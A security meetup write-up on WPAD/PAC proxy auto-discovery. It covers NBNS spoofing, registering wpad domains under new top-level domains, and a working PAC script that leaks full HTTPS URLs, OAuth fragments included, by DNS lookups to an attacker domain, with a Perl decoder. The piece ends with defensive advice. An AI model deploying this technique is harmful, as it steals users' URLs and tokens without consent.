WPAD: instruction manual

Hello! I’m Maxim Andreev, Mail.Ru Cloud backend programmer. At the last Security Meetup, I shared the results of my research on the WPAD proxy auto-configuration protocol. For those who missed - today's post. I’ll talk about what WPAD is, what opportunities it provides for exploitation from the point of view of an attacker, and also show examples of how you can partially intercept HTTPS traffic using this technology.

A bit of materiel

WPAD (Web Proxy Auto Discovery protocol) is used to find a PAC (Proxy Auto Config) file, which is JavaScript with a description of the logic by which the browser will determine how to connect to the desired URL. When making a request, the browser calls the FindProxyForURL function from the PAC file, transfers the URL and host there, and as a result, expects to know which proxies to go to this address. It looks something like this:

functionFindProxyForURL(url, host) {
    if (host == "mail.ru") {
        return"PROXY mp.example.com:8080";
    } elseif (host == "google.com") {
        return"PROXY gp.example.com:5050";
    } else {
        return"DIRECT";
    }
}

In addition to FindProxyForURL, various auxiliary functions are available in the PAC script for more flexible configuration. With their help, you can, for example, indicate that the browser should open the mail.ru website from one to two on Monday through% proxynameX%, and at other times through% proxynameY%. The address of the PAC script can be specified explicitly in the browser proxy settings. For example, in Firefox, this can be done in the settings item called "URL for automatic proxy service settings." However, the network administrator is unlikely to want to prescribe the settings for all browsers of each client manually. It is much more convenient to use WPAD for this.

How WPAD Works

First of all, WPAD tries to find the PAC script using the option from the DHCP server (however, this feature is practically not supported by browsers), and then sends an HTTP request to http: //wpad.%domain%/wpad.dat and downloads the resulting file. At the same time, in various operating systems, the search for the wpad.dat file will occur in different ways.

Suppose we learned from the DHCP settings that the domain name is msk.office.work. Then Windows XP will try to find it on wpad.msk.office.work (the domain resolution will be through DNS), and then simply on wpad.office.work.

http://wpad.msk.office.work/wpad.dat (DNS)
http://wpad.office.work/wpad.dat (DNS)

^{Queries made by Windows XP}

Windows 7 behaves differently: first it checks the complete domain using DNS, then it tries to resolve the WPAD name through the Link-Local Multicast Name Resolution, and then using the NetBIOS Name Service. The last two are broadcast protocols, and LLMNR is only supported by Windows, starting with Vista.

http://wpad.msk.office.work/wpad.dat (DNS)
http: //wpad/wpad.dat (LLMNR)
http: //wpad/wpad.dat (NBNS)

^{Queries that Windows 7 makes}

LAN usage

Imagine yourself in the place of an attacker who wants to allow all local traffic through his proxy server. If we are in the same LAN segment (i.e. we can use NetBIOS), we don’t even have to do anything - you can use the ready-made NBNS spoofer from Metasploit.

^{Implementing NBNS spoofing on the local network}

If we are on a different subnet, but there is a WINS server on our network, we can raise the Windows host with the name WPAD so that WINS spread the word about us. This case is quite working: when testing in a fairly large local area network of one university, a host located on the network even less than / 24 began to receive requests from hundreds of different IPs.

Internet use

Currently, there are 861 first-level domains. In addition to the usual .com, .net, .ru, .org, among them there are more exotic ones - from .work and .school to .ninja and .vodka. The names of these domains may well be spelled out in the domain-name option of DHCP servers. Thus, if the .university domain is specified in the domain-name, and we register the wpad.university domain, then all requests for the WPAD file will be sent to us. Moreover, if you look at wpad.TLD of the first level domains, we will see the following picture: ^{WPAD domains} that are

^{free for registration}

A couple of years ago, I registered the wpad.co domain, which really went for numerous requests for the wpad.dat file. But there is more recent evidence of the ability to intercept what was not intended for us: a month ago I registered the domain wpad.work. For 11 days, he was contacted with 3901 unique IPs. It is noticeable that the number of requests decreased on the weekend.

^{Number of calls to wpad.work: dynamics by day of the week.}
What can be found in the logs if you send all the afflicted through your proxy, you can see below.

^{Proxy server log fragment}

Profit?

So, we forced users to go through a proxy server controlled by us. What does this give us? In the case of HTTP requests, full control over the traffic: headers and body of the request and response, all parameters, cookies, data of form submissions.

^{HTTP request through a proxy server}

In the case of HTTPS, we will see only the CONNECT method. The maximum information available to us is the host and user-agent. Unfortunately, the most interesting, that is, the data exchanged between the client and the server after handshake, for us will look only like a set of binary data.

^{HTTPS request through a proxy server}

Back to pac

Despite the fact that the PAC script is written in JavaScript, window, document objects are not available in it, it will not be possible to display an alert to the user (it will be displayed only in the browser logs). However, even this stripped-down version has its own nice features.

^{JavaScript Functions Available from the PAC Script}

One of them, isResolvable, checks whether it is possible to resolve a domain name into an IP address. It works like this:

if (isResolvable(host))
    return"PROXY proxy1.example.com:8080";

What can use of this function give us? To answer this question, we will first examine what exactly is passed to the FindProxyForURL function in the “URL” argument. It turns out that it depends on the browser: Chrome passes the scheme, host, request (GET parameters), but Firefox also has a fragment (location.hash).

For example, the URL http://mail.ru/?a=123#token=secret will be processed as follows:

Chrome

Firefox

No matter which browser is used, we have a full URL. You can already work with this. Let's try using isResolvable to intercept the URL. We encode the URL in such a way that it is a valid host name, and add .hacker.com, in the NS records of which the DNS server is registered, where we respond to all requests and log them.

So, with the help of simple transformations:

functionencode(str) {
    r = str.toLowerCase()
        .replace(/([^a-z1-9])/g, function(m) {
            return"0" + m.charCodeAt(0)
        })
        .replace(/([^\.]{60})(.)/g, '$1.$2')
        .substr(0, 240);
    return r + (r.slice(-1) != "." ? "." : "") + "hacker.com";
}
functionFindProxyForURL(url, host) {
    var u = encode(url);
    return isResolvable(u) ? "DIRECT" : "DIRECT";
}

our test URL https://example.ru/?token=123 turns into an elegant
https058047047example046ru047063token061123.hacker.com , from which, through the Perl conversion

echo'https058047047example046ru047063token061123.hacker.com' \
 | perl -lape 's/\.hacker\.com$//; s/\.//g; s/0(..)/chr($1)/eg;'

You can easily get the source string, i.e. the full URL of the HTTPS request. Thus, using the wrong client configuration, an attacker can partially bypass HTTPS encryption and gain access to the URLs of all user requests.

It's no secret that OAuth tokens are often transmitted in the URL fragment (location.hash). Thus, in the case of using Firefox, they can also fall into our hands.

As a result of placing this script on wpad.work, several thousand user requests were intercepted, among them the most popular protocols were:

53% HTTPS
46% HTTP
0.15% WS
0.08% WSS

Most often, requests came from the following countries:

14% Russia
11% USA
9% China
7% India

Total

With WPAD, regardless of HTTPS, you can intercept local traffic, OAuth tokens, and other information from the URL. However, we, as honest people, will not do this. It’s better to try, using our knowledge, to defend ourselves against potential attacks. Below are the main recommendations, the implementation of which will protect your traffic.

Do not use “alien” domains . Usually it is advised to use .local in the absence of your domain, but I would not recommend doing this, since an attacker could attack using broadcast resolvers that use the same domain - in particular Bonjour. It is optimal to use a registered domain name (it is not necessary to make it resolvable externally).
Reserve wpad addresses in domain zones .
Disable automatic detection of settings in the settings of all browsers (for IE and Chrome, this can be done through domain policies).

PS If you want to participate in one of the following Security Meetups, and you have something to tell about, write to Karim valievkarim Valiev or Vladimir z3apa3a Dubrovin.

Tags: